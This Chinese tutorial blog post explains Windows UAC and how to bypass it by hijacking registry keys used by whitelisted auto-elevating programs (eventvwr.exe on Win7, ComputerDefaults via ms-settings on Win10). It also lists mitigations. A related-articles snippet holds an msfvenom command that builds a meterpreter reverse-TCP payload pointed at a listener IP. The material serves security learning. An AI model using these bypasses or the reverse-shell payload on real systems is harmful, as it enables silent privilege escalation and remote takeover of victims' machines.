window绕开UAC——利用UAC白名单程序提权

metasploit进行windows提权 UAC绕过提权 学习掌握MSF各种渗透小技巧,提升后渗透技术。 阅读详情
AI摘要

本文介绍了如何利用Windows UAC(用户帐户控制)的白名单程序来绕过UAC权限限制,详细阐述了UAC的工作原理、白名单提权机制,并提供了在Win7和Win10系统中利用eventvwr.exe和ComputerDefaults等程序提权的方法。同时讨论了这种方法的安全性和缓解措施。

UAC

用户帐户控制(User Account Control,简写作UAC)是微软公司从Windows Vista版本操作系统开始采用的一种控制机制。

原理

界面操作是:通过询问用户是否授权给应用程序,使用硬盘驱动器和系统文件的权力。以达到阻止恶意程序(“恶意软件”)损坏系统的效果。

内部逻辑是:

在触发 UAC 时,操作系统会创建一个consent.exe进程,用来确定是否创建具有管理员权限的进程(通过白名单和用户选择判断),然后creat process。请求进程将要请求的进程cmdline和进程路径,通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名,以及,发起者的权限,是否符合要求,然后决定是否弹出UAC框,让用户确认。这个UAC框会创建新的安全桌面,遮挡之前的界面。同时这个UAC框进程是SYSTEM账户的进程,其他标准用户进程无法与其通信交互。用户确认之后,会调用CreateProcessAsUser函数,以管理员权限启动请求的进程。

所以,病毒木马想要实现高权限操作,就不得不绕过UAC弹窗,在没有通知用户情况下, 悄悄地将普通权限,提升为管理员权限启动进程,从而使程序得到高权限的操作。
 

绕过UAC ,UAC Bypass

绕过 UAC的方法:

  1. 白名单提权机制;
  2. DLL 劫持;
  3. Windows 自身漏洞提权;
  4. 远程注入;
  5. COM 接口技术。

计划任务

路径欺骗。

其余的如通过计划任务、路径欺骗等方式不算入绕过,因为经过了用户确认。

实现Bypass UAC的方法主要有两种方法:一种是利用白名单提权机制,另一种是利用COM组件接口技术。

 

利用系统自带的UAC白名单程序提权

autoElevate(elevate 提拔,晋升,提升),白名单提权机制。

用户账户控制限制着程序使用高级权限才能进行的操作,但是,UAC同样也会对系统本身的程序造成影响,微软也不希望运行系统程序也需要询问用户,因为系统程序是安全的。因此,微软则在 UAC 中添加了白名单机制,即在系统中记录有一张表单,表单中的系统程序,将不限制其直接提升到管理员权限。 系统中的白名单程序有多个,其中,msconfig、taskmgr、perfmon、cleanmgr 等平时常用的程序都在其中。

操作系统的UAC白名单程序,默认以管理员权限运行,而且不弹出UAC窗口确认。这些白名单程序,都具有微软的签名是操作系统可信的。
一些系统的UAC白名单程序:

在C:\Windows\System32下

sdclt.exe  ,    dccw.exe  ,  eventvwr.exe , computerdefaults.exe   , fodhelper.exe

系统调用这些高权限程序,会调用 HKCR( HKEY_CLASSES_ROOT)下的键值。 所以,修改 HKCR( HKEY_CLASSES_ROOT)下的键值,把原本的键值改为 cmd.exe 等 shell 程序。
如果高权限的程序,在运行过程中调用此处被修改过的键值,就会以高权限启动我们设定的程序。

从而实现绕过 UAC提权。难点在于找到注册表的关键位置。

注册表内:
HKCU = HKEY_CURRENT_USER
HKLM = HKEY_LOCAL_MACHINE
HKCR = HKEY_CLASSES_ROOT

 

我们在Windows 7中利用特权应用程序eventvwr.exe绕过UAC,此特权应用程序的作用类似于微软管理控制台(Microsoft Management Console,MMC)的快捷方式。

当eventvwr.exe启动时,它将检查是否使用特定的二进制文件,为事件查看器提供MMC管理单元的功能。为此,它在注册表键值  ”HKCU\Software\Classes\mscfile\shell\open\command” 中查找特定的二进制位置。如果它存在,它将在此路径上执行二进制文件。否则,将加载Windows事件查看器的默认MMC管理单元,此注册表键值的内容是可绕过UAC的可执行二进制文件。

eventvwr.exe 的权限为 high;
启动程序eventvwr.exe 首先查询键值 HKCU\Software\Classes\mscfile\shell\open\command,查询结果为 NAME NOT FOUND;
eventvwr.exe 接着查询键值 HKCR\mscfile\shell\open\command,结果为 SUCCESS。

 

更改:

首先需要修改键值 HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command,为测试可以把值改为 calc.exe(我们需要绕过UAC的程序)。

因为我这里的 regedit 中的键值只到 HKCU\Software\Classes\ 这层目录,所以我新增了后面的表项,并把值设为 C:\Windows\System32\cmd.exe。

由于Windows更新和安全修复程序的关系,对于不同的Windows版本,特权应用程序和注册表键值可能会有所不同。

其实此方法 2016 年就提出来了, Win10 系统已对该处做了修复。

由于这两种技术都依赖于相同的原理,所以对它们的缓解措施也是一样的。这与将UAC级别设置为Always Notify属性一样简单。

对于不希望将UAC级别设置为Always Notify的系统环境,可以使用其他的保护方法,但是,从系统的安全角度来讲不建议使用。这些方法包括监控并防止以下注册表键值的注册表更改:

1.HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command;

2.HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe;

除这些缓解措施外,还建议在可能的情况下使用非特权帐户。

eventvwr.exe 接着查询键值 HKCR\mscfile\shell\open\command,结果为 SUCCESS,因为修改注册表HKCU\Software\Classes\mscfile\shell\open\command得值只需要普通用户权限,所以修改为calc.exe进行测试

但是,测试发现win10没有加载这个注册表路径,win7存在,但是需要手动添加后面得选项\shell\open\command。

 

Win10的处理

使用特权程序(白名单程序:ComputerDefaults),它具有微软的签名,用户运行它时系统不会弹出UAC窗口。

1. 创建注册表键 HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command;

2. 创建无数据的 HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\DelegateExecute的值;

3.把要提权启动的程序绝对路径写入HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\(default)的值里;

4.执行特权程序白名单程序:ComputerDefaults,或者其他系统设置程序,就会委托调用程序了。由ComputerDefaults创建的代理进程自动获得管理员权限。 但是由显示设置程序。

 

如果装有杀毒软件,在启动程序时,会提示警示

也有很多技术人员在争论这个安全问题,是否是严格意义上的权限提升漏洞。一个主要原因是James Forshaw在演示这个漏洞时,是通过此漏洞来劫持UAC默认级别下自动提权的ComputerDefaults程序,从而实现在默认UAC设置下静默从中完整性级别启动高完整性级别的程序。

 

把程序加入白名单

运行信任程序时不再弹出用户账户控制窗口  ,把程序加入白名单
解决:

          1、打开注册表,找到在 HKEY_CURRENT_USERS\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers,下面会有一些全路径的程序;

          2、找到要修改为信任的程序,将值数据修改为“RunAsInvoker”;

          3、如果没有你要的程序,右键->新建->字符串值,值的名字是程序的全路径(如:D:\Program\WinRAR\WinRAR.exe),数值数据为“RunAsInvoker”;

 

 

 

 

Windows提权---第三方软件提权、Bypass UAC提权 第三方软件提权、Bypass UAC提权 阅读详情

相关推荐

meterpreter之getsystem命令提权详解

meterpreter shell是msf上集成的一组功能强大的shell集合,当我们获取一个反弹的meterpreter shell时,可以轻松的通过各种命令对靶机进行控制。熟悉的meterpreter的同学都清楚,其中有一个getsystem命令,帮助文档说明是提权用的,没有更详细的说明,很多人会误解为这是meterpreter的一键提权工具,但每次输入这个命令,都会爆出各种“incorrect“和”denied“,本文将通过理论和实验说明此命令的适用环境及提权过程。

redwand的博客 9691

软件推荐:Windows 添加 UAC “白名单” UACWhitelistTool(开源)+ 配置开机自启动

对电脑有一定基础知识,而又不使用第三方杀毒软件的,UAC 是防病毒和流氓软件的利器。每次重装电脑系统后第一批的处理中,我就会把 UAC 通知等级开到最高。这样基本涉及对电脑系统的修改(及请求管理员权限)都会出现弹窗询问你是否同意,看到不合理的权限请求就可以拒绝,这样就能有效防止后台偷跑。但是不排除一些自己用的软件需要管理员权限,这种自己已经能确认安全了,每次手动点“是”就显得麻烦了,这就是一种 UAC 白名单的可能需要,既要保证有实质的管理员权限执行,又要能默认同意。

qq_36349997的博客 5357

系统提权之:Windows 提权

郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。 Windows 提权1 利用漏洞提权1.1 手工查找系统缺失补丁1.2 Windows 补丁审计工具1.2.1 Windows-Exploit-Suggester1.2.2 Sherlock1.3 MSF 模块查找可利用漏洞2 利用 Windows 配置错误提权2.1 系统服务权限配置错误2.1.1 利用 Po.

f_carey的博客 3337

UAC介绍及实现

UAC是USB Audio Class的缩写,有时也叫UAD,UAD是USB Audio Device的缩写。 它基于libusb,实现对外接音频操作。通过UAC,可以实现实时获取音频设备的音频数据,并且通过UAC实现操控设备音量,采样率,等参数。UAC是基于libusb,实现对外接音频操作,从用户功能来说,主要包括USB麦克风、USB声卡和其它音频设备的功能控制和接口标准。

xyzahaha的博客 1万+

操作系统权限提升(十四)之绕过UAC提权-基于白名单AutoElevate绕过UAC提权

利用白名单程序的本质实际上是劫持注册表,这种方法主要是通过寻找autoElevated属性为true的程序,修改其注册表command的值,改成我们想要执行的paylaod,在该值中指明的字段会在这类程序运行时自动执行,类似于默认程序打开,当你以后运行该程序时,这个command命令都会自动执行。我们在运行eventvwr.exe,程序会在注册表下去找这些值,如果这些值是一个calc的程序,那么系统在运行eventwr.exe时就会去执行一个calc.exe。我们打开注册表,去找到刚刚那个注册表的位置。

把自己活成一道光,因为你不知道,谁会借着你的光,走出了黑暗。请保持心中的善良,因为你不知道,谁会借着你的善良,走出了绝望。请保持你心中的信仰,因为你不知道,谁会借着你的信仰,走出了迷茫。请相信自己的力量,因为你不知道,谁会因为相信你,开始相信了自己.... 1867

操作系统权限提升(十五)之绕过UAC提权-基于白名单DLL劫持绕过UAC提权

先将操作在本地执行,使用procmon进行监控,过滤DLL和 NAME NOT FOUND ,寻找可以替换的DLL文件,注意文件的权限是否可以在目录写入,可以看到在C盘的tools目录的文件中有一个srrstr.dll被调用,但是没有加载,我们生成恶意的DLL文件看看是否可以被劫持。在Windows中许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库文件,即dll文件,放置于系统中,个人理解类似于我们编程中引入的模块。将我们生成的DLL文件改名为我们要劫持的DLL文件名。

把自己活成一道光,因为你不知道,谁会借着你的光,走出了黑暗。请保持心中的善良,因为你不知道,谁会借着你的善良,走出了绝望。请保持你心中的信仰,因为你不知道,谁会借着你的信仰,走出了迷茫。请相信自己的力量,因为你不知道,谁会因为相信你,开始相信了自己.... 1874

windows之UAC提权

前期准备 目标机 攻击机 win7 kali 192.168.43.254 192.168.43.113 我这里,只演示攻击过程,如果有不懂的命令可以去看看我其他的文章有专门我做命令的笔记或者自行去百度。 UAC简介 UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。 也就是说一旦用户允许启动的应用程

p_utao的博客 2208

用户账户控制(UAC)详解

Windows Vista 之前的操作系统由于安全方面的问题广受外界批评,所以 Windows Vista 操作系统中引入了全新的安全技术 UAC,旨在提高操作系统安全性。使用 UAC 后,用户在执行可能会影响操作系统运行或影响其他用户设置的操作之前,需要提供权限或管理员密码。其次,通过应用程序的数字签名显示该应用程序的名称和发行者等信息,确保它正是用户所要运行的应用程序。通过启动前的验证,UAC 可以有效防止恶意程序和间谍程序篡改操作系统设置。例如,某些影。

悦分享 2514

Windows权限提升—令牌窃取、UAC提权、进程注入等提权

在之前的文章中已经对Windows的权限提升进行了介绍,这里同样不再赘述,如果想要去了解Windows权限提升可以看以下的文章,同时也将Windows权限提升其它的几种办法也放在下面的文章中。同时本来应该还写一篇第三方全家提权的,但是在实际测试过程中发现,有些第三方提权,如果在电脑上都会自动更新,比如向日葵,低版本的直接无法连接向日葵官方的服务器,那么提个毛权限的啊。Windows权限提升—溢出提权Windows权限提升—MySQL数据库提权。

剁椒鱼头没剁椒的博客 5992

[网络安全自学篇] 九十四.《Windows黑客编程技术详解》之提权技术(令牌权限提升和Bypass UAC)

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。这篇文章将带着大家来学习《Windows黑客编程技术详解》,其作者是甘迪文老师,推荐大家购买来学习。作者将采用实际编程和图文结合的方式进行分享,并且会进一步补充相关知识点。第六篇文章主要介绍木马病毒提权技术,包括进程访问令牌权限提升和Bypass UAC,希望对您有所帮助。

杨秀璋的专栏 2万+

Windows UAC提权

一、UAC简介 1. UAC UAC是微软为提高系统安全性中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行修改。 微软设置的安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通管理员权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。 2. UAC授

不忘初心,护天下安全! 1032

[Win32] UAC用户账户控制(提权+降权)

首先必须澄清一下:UAC不是Vista才有的东西!我反正知道XP就有了,2000不知道,XP上也有UAC,只不过默认没有开启,你要是愿意可以自己开启,只不过太不人性化了,和Linux上的switch user一样不人性化,没次提权必须输入管理员用户的密码。 所以Vista的UAC根本就不是什么新鲜玩意,如果当时完全按照微软的规范编程,升级到Vista以后UAC带来的兼容性问题虽然有但不会

zuishikonghuan的博客 1万+

Hive SQL零基础到精通:100道练习题+答案,SQL能力快速提升

我将以我15年架构与开发的经验,带领大家从零基础到精通,通过精心设计的100道练习题及其详解,系统地、深度地掌握Hive SQL的核心精髓。它可以将结构化的数据文件映射为一张数据库表,并提供了一套类SQL的查询语言——HiveQL(简称HQL),允许熟悉SQL的用户直接查询存储在HDFS上的海量数据。它将Job描绘为DAG(有向无环图),允许更灵活的任务编排,避免不必要的中间落盘,可以复用容器,从而大幅降低延迟。希望你以此文为起点,在广阔的大数据世界里继续遨游,成为一名真正的数据高手!

架构师的AI之路,分享AI应用开发架构的学习与实践。 798

绕过UAC提权

UAC提权简介UAC授权操作UAC的设置要求bypassuac模块RunAs模块Invoke-PsUACme模块 简介 UAC是微软为提高系统安全性中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行修改。 微软设置的安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通管理员权限;低等

weixin_45007073的博客 1470

从理论到实践:笛卡尔空间阻抗控制的实现挑战与变体解析

本文深入探讨了笛卡尔空间阻抗控制的核心原理、工程实现中的五大挑战及经典变体实战解析。通过详细的数学建模和实际案例分析,揭示了阻抗控制在工业机器人、医疗设备等领域的应用价值,特别是在力感知精度、动力学模型校准和实时计算等方面的关键技术突破。

weixin_30952535的博客 449

动态掩码语言模型(MLM)优化策略:效率提升与最新技术实践

本文深入探讨了动态掩码语言模型(MLM)的优化策略与技术实践,涵盖核心原理、效率优化及2025年最新突破。重点解析了动态掩码在提升模型性能中的关键作用,包括工程实现、掩码策略演进及混合专家动态掩码等创新技术,为自然语言处理领域的研究与应用提供实用指南。

vscode5coder的博客 225

一文了解提权:溢出提权和第三方组件提权

对提权做个归纳,提权一般分为两种——溢出提权和第三方组件提权

闵行小鱼塘 2922

基于Xilinx Artix7 的FPGA高级应用 (二):千兆以太网通信(实战篇)第一期

本项目是基于Xlinx Artix7 XC7A35T芯片 以太网芯片选用的是RTL8211EG PHY芯片 MAC 和PHY接口标准是GMII 开发工具是vivado 2018.3 我们先来复习一下以太网的基本通信原理: 当我们的计算机需要与局域网中另外的设备进行通信的时候,需要将数据传输到网卡进行编码,然后传输到线上,经过另一个设备的网卡解码成该设备能读取的数据。 关于以太网协议的知识在原理篇中已经讲过,不再重复,下面直接看接收代码: 首先注意我们的MAC和PHY通信选择的是GMII接口标准,发送数据一

工大技术底层人员的博客 4034

系统提权——Windows系统提权

系统提权——Windows系统提权。 1、使用系统自带命令提权; 2、进程注入; 3、令牌窃取; 4、DLL劫持; 5、不安全的服务配置。 UAC机制的绕过

JulySec的博客 2693

Verilog HDL 100道面试题及参考答案

在 Verilog HDL 中,参数(parameter)和宏定义(define)都可用于定义常量,但它们存在诸多不同之处。参数(parameter)是模块内部的常量定义,具有局部性。它在模块内部起作用,不同模块可以有同名的参数,且值可以不同。参数通常用于定义模块的一些配置信息,例如数据位宽、延迟时间等。参数的定义和使用是在模块的作用域内进行的,通过参数传递可以方便地对模块进行配置。endmodule在上述代码中,WIDTH是一个参数,用于定义加法器的位宽。通过改变WIDTH。

大模型大数据攻城狮的专栏 1734

使用Verilog实现QR分解——嵌入式 [设计与代码]

通过Verilog的硬件描述语言,我们可以将QR分解算法实现为硬件电路,并在嵌入式系统中高效地运行。本文将介绍如何使用Verilog设计并实现QR分解算法,该算法用于将一个矩阵分解为正交矩阵Q和上三角矩阵R。具体而言,QR分解通过对矩阵的列进行正交化处理,得到正交矩阵Q,并将对应的正交化结果存储在上三角矩阵R中。该算法通过将矩阵分解为两个部分,正交矩阵Q和上三角矩阵R,实现了对矩阵的分解和变换。模块,该模块接收待分解矩阵A,并输出正交矩阵Q和上三角矩阵R。下面给出了使用Verilog实现QR分解的源代码。

CodeMaven的博客 621

bypassUAC提权

目录Windows UAC概述UAC结构图UAC组件描述UAC滑块设置UAC可授权的控制漏洞提权UAC提权之MSF1、bypassuac提权2、bypassuac_eventvwr提权3、RunAs提权UAC提权之Empire1、bapassuac模块提权2、bapassuac_wscript模块提权UAC提权之CSUAC提权之powershell参考文献 Windows UAC概述 用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作

yangbz123的博客 1955

Django 6.0:有哪些新特性以及它们对实际项目的重要性

Django 6.0 感觉像是一个成熟的版本,它基于实际应用案例而打造。它减少了不必要的复杂性,同时扩展了框架的开箱即用功能。升级到 Django 6.0 不仅仅是为了保持版本更新,更是为了构建更易于维护、更安全、更能适应未来发展的应用程序。

iCloudEnd的博客 341

Meterpreter提权详解

0x01 Meterpreter自动提权 1.生成后门程序 我们在kali的命令行下直接执行以下命令获得一个针对windows的反弹型木马: msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.11.2 lport=4444 -f exe -o /tmp/hack.exe 这里我们为生成的木马指定了payload为: windo...

子曰小玖的博客 3488

实现Win10环境下的MATLAB与虚拟机Ubuntu中的ROS的通讯的方法

   本文主要介绍如何实现Win10环境下的MATLAB与虚拟机Ubuntu中的ROS的通讯,虚拟机我采用的是VMware16.1.1中安装了Ubuntu20.04,并安装ROS Noetic 版本    一、虚拟机Ubuntu中配置    1、在ubuntu终端输入以下命令查看本机地址 ifconfig    如下图所示我目前的IP是192.168.3.128    2、将本机IP写入到.bashrc文件    打开home文件夹,按Ctrl+h显示隐藏的文件,选择.bashrc并打开(

慕羽★的博客 7517

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

上一篇: 一些杂项问题处理
下一篇: windowsUAC白名单
边缘计算机
博客等级 码龄17年 185粉丝 125原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值